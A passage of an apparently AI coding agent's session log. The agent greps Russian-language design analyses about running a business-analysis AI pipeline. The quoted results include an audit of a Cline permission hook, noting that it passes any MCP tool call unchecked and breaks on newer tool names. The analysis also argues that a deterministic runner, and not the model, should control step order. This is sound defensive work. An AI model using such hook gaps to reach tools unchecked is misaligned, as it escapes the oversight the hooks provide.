\u0434\u0435\u043b\u0430\u0435\u043c:** \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435\\n503:| \u041e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 | [\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) |\",\n[2026-09-29T07:55:10.480Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:55:10.480Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:55:10.480Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:55:10.480Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:55:10.480Z] [INFO]   }\n[2026-09-29T07:55:10.480Z] [INFO] }\n[2026-09-29T07:55:13.478Z] [INFO] {\n[2026-09-29T07:55:13.478Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:13.478Z] [INFO]   \"message\": {\n[2026-09-29T07:55:13.478Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:13.478Z] [INFO]     \"id\": \"msg_011CfXNUri8oF7r8PcDPW4o7\",\n[2026-09-29T07:55:13.478Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:13.478Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:13.478Z] [INFO]     \"content\": [\n[2026-09-29T07:55:13.478Z] [INFO]       {\n[2026-09-29T07:55:13.478Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:13.478Z] [INFO]         \"id\": \"toolu_01Ps1ZhfnSaKUt6RzYLAUEXn\",\n[2026-09-29T07:55:13.478Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:55:13.478Z] [INFO]         \"input\": {\n[2026-09-29T07:55:13.478Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; R=$P/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md; C=$P/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\necho \\\"== reject\\\"; grep -n -i 'Dify\\\\|Camunda\\\\|Flowise' $R | head -8\\necho \\\"== n8n reasons\\\"; grep -n -i 'AI Agent\\\\|\u043f\u0435\u0440\u0435\u0440\u0438\u0441' $R | head -5\\necho \\\"== MCP/secrets\\\"; grep -rn -i 'MCP' $R $C $P/docs/adr/2026-09-adr-019*.md | head -8; grep -rln -i '\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442' $P --include=*.md | head\\necho \\\"== self-declare\\\"; grep -n -i '\u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\\\\|\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\\\\|source_read\\\\|\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\\\|\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442' $C | head -8\\necho \\\"== CLI transitions\\\"; grep -n -i '\u043d\u0430\u0431\u0438\u0440\u0430\\\\|\u0432\u0432\u043e\u0434\u0438\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\\\\|\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b' $R | head -5\\necho \\\"== ADR-017\\\"; grep -n -i 'Feedback' $P/decisions/2026-09-adr-017*.md | head -5\\necho \\\"== forensics classes\\\"; grep -n -i '\u0447\u0435\u0442\u044b\u0440\\\\|\u043a\u043b\u0430\u0441\u0441.* \u043e\u0442\u043a\u0430\u0437' $P/docs/analysis/2026-09-23-requirements-run-forensics.md | head -8\\necho \\\"== golden 7\\\"; grep -n -i 'API\\\\|\u043a\u0430\u0431\u0438\u043d\u0435\u0442' $P/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md | head -8\",\n[2026-09-29T07:55:13.478Z] [INFO]           \"description\": \"Verify remaining claims in source analyses\"\n[2026-09-29T07:55:13.478Z] [INFO]         },\n[2026-09-29T07:55:13.478Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:13.478Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:13.478Z] [INFO]         }\n[2026-09-29T07:55:13.478Z] [INFO]       }\n[2026-09-29T07:55:13.478Z] [INFO]     ],\n[2026-09-29T07:55:13.478Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:13.478Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:13.478Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:13.478Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:13.478Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:13.478Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:13.478Z] [INFO]       \"cache_creation_input_tokens\": 5637,\n[2026-09-29T07:55:13.478Z] [INFO]       \"cache_read_input_tokens\": 35966,\n[2026-09-29T07:55:13.478Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:13.478Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:13.478Z] [INFO]         \"ephemeral_1h_input_tokens\": 5637\n[2026-09-29T07:55:13.478Z] [INFO]       },\n[2026-09-29T07:55:13.478Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:55:13.478Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:13.478Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:13.478Z] [INFO]     },\n[2026-09-29T07:55:13.478Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:13.478Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:13.478Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:13.478Z] [INFO]   },\n[2026-09-29T07:55:13.478Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:13.478Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:13.478Z] [INFO]   \"uuid\": \"48d2256c-99d0-4ab0-91c4-9464cba4e4eb\",\n[2026-09-29T07:55:13.478Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:13.462Z\",\n[2026-09-29T07:55:13.478Z] [INFO]   \"request_id\": \"req_011CfXNUr2U5whXuFkTPUzX3\",\n[2026-09-29T07:55:13.478Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:13.478Z] [INFO]     \"toolu_01Ps1ZhfnSaKUt6RzYLAUEXn\": {\n[2026-09-29T07:55:13.478Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; R=$P/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md; C=$P/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\necho \\\"== reject\\\"; grep -n -i 'Dify\\\\|Camunda\\\\|Flowise' $R | head -8\\necho \\\"== n8n reasons\\\"; grep -n -i 'AI Agent\\\\|\u043f\u0435\u0440\u0435\u0440\u0438\u0441' $R | head -5\\necho \\\"== MCP/secrets\\\"; grep -rn -i 'MCP' $R $C $P/docs/adr/2026-09-adr-019*.md | head -8; grep -rln -i '\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442' $P --include=*.md | head\\necho \\\"== self-declare\\\"; grep -n -i '\u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\\\\|\u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\\\\|source_read\\\\|\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\\\|\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442' $C | head -8\\necho \\\"== CLI transitions\\\"; grep -n -i '\u043d\u0430\u0431\u0438\u0440\u0430\\\\|\u0432\u0432\u043e\u0434\u0438\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\\\\|\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b' $R | head -5\\necho \\\"== ADR-017\\\"; grep -n -i 'Feedback' $P/decisions/2026-09-adr-017*.md | head -5\\necho \\\"== forensics classes\\\"; grep -n -i '\u0447\u0435\u0442\u044b\u0440\\\\|\u043a\u043b\u0430\u0441\u0441.* \u043e\u0442\u043a\u0430\u0437' $P/docs/analysis/2026-09-23-requirements-run-forensics.md | head -8\\necho \\\"== golden 7\\\"; grep -n -i 'API\\\\|\u043a\u0430\u0431\u0438\u043d\u0435\u0442' $P/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md | head -8\",\n[2026-09-29T07:55:13.478Z] [INFO]       \"description\": \"Verify remaining claims in source analyses\"\n[2026-09-29T07:55:13.478Z] [INFO]     }\n[2026-09-29T07:55:13.478Z] [INFO]   }\n[2026-09-29T07:55:13.478Z] [INFO] }\n[2026-09-29T07:55:15.403Z] [INFO] {\n[2026-09-29T07:55:15.403Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:15.403Z] [INFO]   \"message\": {\n[2026-09-29T07:55:15.403Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:15.403Z] [INFO]     \"content\": [\n[2026-09-29T07:55:15.403Z] [INFO]       {\n[2026-09-29T07:55:15.403Z] [INFO]         \"tool_use_id\": \"toolu_01Ps1ZhfnSaKUt6RzYLAUEXn\",\n[2026-09-29T07:55:15.403Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:15.403Z] [INFO]         \"content\": \"== reject\\n84:  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n85:  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n226:| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n228:| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n283:| \u0413-52 | Low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441 \u0418\u0418 (Dify, Flowise) \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e | Dify \u2014 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f Apache \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 ([LICENSE](https://github.com/langgenius/dify/blob/main/LICENSE)), \u043a\u043e\u0434 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0431\u0435\u0437 \u0441\u0435\u0442\u0438 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 ([docs](https://docs.dify.ai/en/use-dify/nodes/code)) \u2014 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c; Flowise \u2014 Node.js ([LICENSE](https://github.com/FlowiseAI/Flowise/blob/main/LICENSE.md)); \u0432 \u043e\u0431\u043e\u0438\u0445 \u0433\u0440\u0430\u0444 \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u044f\u0434\u0440\u043e; \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 |\\n284:| \u0413-53 | BPMN-\u0434\u0432\u0438\u0436\u043e\u043a \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0411\u0410 | Camunda 8 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044e \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 8.6 ([Camunda](https://camunda.com/blog/2024/04/licensing-update-camunda-8-self-managed/)); Operaton \u2014 Apache-2.0 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/operaton/operaton)), \u043d\u043e \u044d\u0442\u043e Java \u0438 BPMN: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 BPMN, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c; \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c BPMN-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 |\\n382:| Dify, Flowise (\u0412-8) | \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Dify, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u043e\u0432, Node.js \u0443 Flowise, \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 | [\u0413-52](#\u0433-52) |\\n384:| Camunda 8, Operaton (\u0412-10) | \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Camunda; Java \u0438 BPMN \u0443 Operaton | [\u0413-53](#\u0433-53) |\\n== n8n reasons\\n66:\u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432 n8n \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\\n67:\u0440\u044f\u0434\u043e\u043c \u0441 Source; \u0443\u0437\u0435\u043b AI Agent \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u2014 \u0442\u0430\\n119:   \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u044b.\\n121:   \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c\\n207:\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n== MCP/secrets\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:220:| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:264:| \u0413-38 | MCP-\u0441\u0435\u0440\u0432\u0435\u0440 runner \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c | \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f MCP: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u00abmodel-controlled\u00bb ([MCP 2025-11-25, tools](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)); \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. ADR-018 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 ([L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)), ADR-019 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 MCP \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a ([L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043a\u0430\u043a \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e runner \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:323:| 1.6 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source \u0434\u043b\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432; \u0432 Cline \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u0438 hook, \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 `runs/` \u043c\u0438\u043c\u043e runner | [\u0413-38](#\u0433-38)\u2026[\u0413-40](#\u0433-40) |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:378:| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP, skill \u0438\u043b\u0438 workflow \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (\u0412-2) | \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; hooks \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 | [\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39) |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:78:  \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Mango (MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, Jira, Confluence) \u2014 \u043a \u043d\u0438\u043c\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:156:### \u0412. \u0424\u0438\u0437\u0438\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b: Python, hooks, MCP, \u0440\u0435\u0436\u0438\u043c\u044b Cline\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:162:| \u0413-11 | \u0421\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 hook \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 Cline, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c | Hook \u0437\u043d\u0430\u0435\u0442 \u0438\u043c\u0435\u043d\u0430 Cline v3: `read_file`, `write_to_file`, `use_mcp_tool`\u2026 ([`cline_hook.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/cline_hook.py#L13-L17)). \u0421 v4.0 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f [`read_files`, `search_codebase`, `run_commands`, `editor`, `ask_question`\u2026](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/sdk/packages/core/src/extensions/tools/constants.ts#L12-L22), MCP \u2014 `\u0441\u0435\u0440\u0432\u0435\u0440__\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442`, \u0438 [PreToolUse \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/sdk/hooks-adapter.ts#L147-L174). \u041f\u0440\u043e\u0431\u0430 `P8b`: hook \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 `read_files`, `ask_question` \u0438 \u0434\u0430\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 `editor`. \u0422\u0430\u043c, \u0433\u0434\u0435 hooks \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f (Linux, macOS, \u0431\u0443\u0434\u0443\u0449\u0438\u0435 `.ps1` \u0438\u0437 B-200), Cline v4.1.21 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c \u0447\u0442\u0435\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u0430. \u0421\u043e\u0431\u044b\u0442\u0438\u0435 `TaskResume` v4 [\u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/sdk/hooks-adapter.ts#L1-L12). \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f [\u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/02-install.md#L42-L44) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** (B-200): \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043e\u0431\u0430 \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u043c\u0451\u043d \u0438\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Cline \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438. \u0411\u0435\u0437 \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u041e-3 \u0441\u043b\u043e\u043c\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443, \u0430 \u043d\u0435 \u0437\u0430\u0449\u0438\u0442\u0438\u0442 \u0435\u0451 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:163:| \u0413-12 | \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira/Confluence \u0447\u0435\u0440\u0435\u0437 MCP \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 | Hook \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 `use_mcp_tool` \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043c\u0435\u043d\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u2014 [`READ_TOOLS`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/cline_hook.py#L13-L16), \u043f\u0440\u043e\u0431\u0430 `P8`. \u00ab\u0422\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u2014 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0432 